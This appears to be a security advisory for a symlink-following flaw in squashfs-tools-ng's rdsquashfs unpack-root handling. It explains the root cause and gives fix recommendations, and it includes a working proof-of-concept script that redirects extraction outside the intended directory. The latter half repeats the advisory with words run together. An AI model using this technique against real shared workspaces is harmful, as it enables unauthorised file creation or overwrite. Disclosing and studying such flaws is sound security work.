rdsquashfs is frequently used in automation to unpack untrusted SquashFS images into a directory such as out/.
This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a shared workspace where the unpack destination is attacker-controlled as a symlink:
/tmp/rdsquashfs_root_symlink_poc/
|-- sandbox/
| `-- out -> ../outside/ (preexisting symlink planted in destination)
|-- outside/
`-- image.sqfs (untrusted SquashFS image)
Victim workflow:
- Victim runs:
rdsquashfs -u / -p /tmp/rdsquashfs_root_symlink_poc/sandbox/out /tmp/rdsquashfs_root_symlink_poc/image.sqfs
rdsquashfs follows the symlink and unpacks into /tmp/rdsquashfs_root_symlink_poc/outside/ (or any other writable symlink target)
The image does not need weird filenames; the escape happens because the chosen unpack root path is a preexisting symlink.
0. Environment
- Source:
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
- Version: squashfs-tools-ng commit
e3dcf17 (latest on 23/04/2026)
- Version below
e3dcf17 is also infected.
1. Description
When --unpack-root/-p <path> is used, rdsquashfs does:
mkdir_p(opt.unpack_root) and
chdir(opt.unpack_root)
If <path> exists as a symlink, mkdir_p(...) treats mkdir(...)=EEXIST as success and chdir(...) follows the symlink into the target directory. All subsequent extraction is then performed in the symlink target, not the intended workspace directory.
Relevant code:
bin/rdsquashfs/src/rdsquashfs.c:~230+
mkdir_p(opt.unpack_root) then chdir(opt.unpack_root)
lib/util/src/mkdir_p.c:126+
- treats
EEXIST as success without verifying inode type (lstat + S_ISDIR)
2. Impact
If an attacker can influence the unpack destination path (common in shared workspaces and “extract into ./out” pipelines), they can redirect extraction to an arbitrary directory writable by the victim, resulting in unintended file creation/overwrite outside the intended destination.
3. Root Cause
--unpack-root is not validated with lstat(); symlink roots are accepted.
- Extraction uses process-wide
chdir() and then path-relative operations, so once chdir() follows the symlink, all output goes to the wrong place.
4. Proof-of-Concept
4.1 PoC files
4.2 Expected result
Successful exploitation creates:
/tmp/rdsquashfs_root_symlink_poc/outside/dir/pwn.txt
even though extraction was requested under:
/tmp/rdsquashfs_root_symlink_poc/sandbox/out/
5. Fix Recommendations
- Reject symlink roots:
lstat(unpack_root) and fail on S_IFLNK.
- Prefer descriptor-relative extraction (open output root once as a dirfd +
openat()/mkdirat() walk) instead of chdir().
- When encountering existing path components,
lstat() them and reject symlinks and other unexpected inode types.
- Add regression tests for:
- unpack root is a symlink
- preexisting internal symlink parent components
6. Reproduction
From this directory:
Below is poc.sh
#!/usr/bin/env bash
set -euo pipefail
SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"
for bin in mksquashfs; do
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
done
if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi
git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"
base=/tmp/unpfuzz_rdsquashfs_root_symlink_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/sandbox" "${base}/outside"
printf 'RDSQFS_ROOT_SYMLINK\n' > "${base}/src/dir/pwn.txt"
mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null
# Attacker-controlled preexisting unpack-root symlink.
ln -s ../outside "${base}/sandbox/out"
# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
(cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi
build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)
rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
exit 1
fi
"${rdsq_bin}" -q -u / -p "${base}/sandbox/out" "${base}/test.sqfs" >/dev/null
if [[ ! -f "${base}/outside/dir/pwn.txt" ]]; then
echo "[-] exploit failed: expected outside file not found" >&2
find "${base}" -maxdepth 4 -ls >&2 || true
exit 1
fi
echo "[+] unpack-root symlink accepted; wrote outside intended destination:"
ls -l "${base}/outside/dir/pwn.txt"
cat "${base}/outside/dir/pwn.txt"
rdsquashfsis frequently used in automation to unpack untrusted SquashFS images into a directory such asout/.This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a shared workspace where the unpack destination is attacker-controlled as a symlink:
Victim workflow:
rdsquashfs -u / -p /tmp/rdsquashfs_root_symlink_poc/sandbox/out /tmp/rdsquashfs_root_symlink_poc/image.sqfsrdsquashfsfollows the symlink and unpacks into/tmp/rdsquashfs_root_symlink_poc/outside/(or any other writable symlink target)The image does not need weird filenames; the escape happens because the chosen unpack root path is a preexisting symlink.
0. Environment
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-nge3dcf17(latest on 23/04/2026)e3dcf17is also infected.1. Description
When
--unpack-root/-p <path>is used,rdsquashfsdoes:mkdir_p(opt.unpack_root)andchdir(opt.unpack_root)If
<path>exists as a symlink,mkdir_p(...)treatsmkdir(...)=EEXISTas success andchdir(...)follows the symlink into the target directory. All subsequent extraction is then performed in the symlink target, not the intended workspace directory.Relevant code:
bin/rdsquashfs/src/rdsquashfs.c:~230+mkdir_p(opt.unpack_root)thenchdir(opt.unpack_root)lib/util/src/mkdir_p.c:126+EEXISTas success without verifying inode type (lstat+S_ISDIR)2. Impact
If an attacker can influence the unpack destination path (common in shared workspaces and “extract into ./out” pipelines), they can redirect extraction to an arbitrary directory writable by the victim, resulting in unintended file creation/overwrite outside the intended destination.
3. Root Cause
--unpack-rootis not validated withlstat(); symlink roots are accepted.chdir()and then path-relative operations, so oncechdir()follows the symlink, all output goes to the wrong place.4. Proof-of-Concept
4.1 PoC files
poc.sh4.2 Expected result
Successful exploitation creates:
/tmp/rdsquashfs_root_symlink_poc/outside/dir/pwn.txteven though extraction was requested under:
/tmp/rdsquashfs_root_symlink_poc/sandbox/out/5. Fix Recommendations
lstat(unpack_root)and fail onS_IFLNK.openat()/mkdirat()walk) instead ofchdir().lstat()them and reject symlinks and other unexpected inode types.6. Reproduction
From this directory:
Below is poc.sh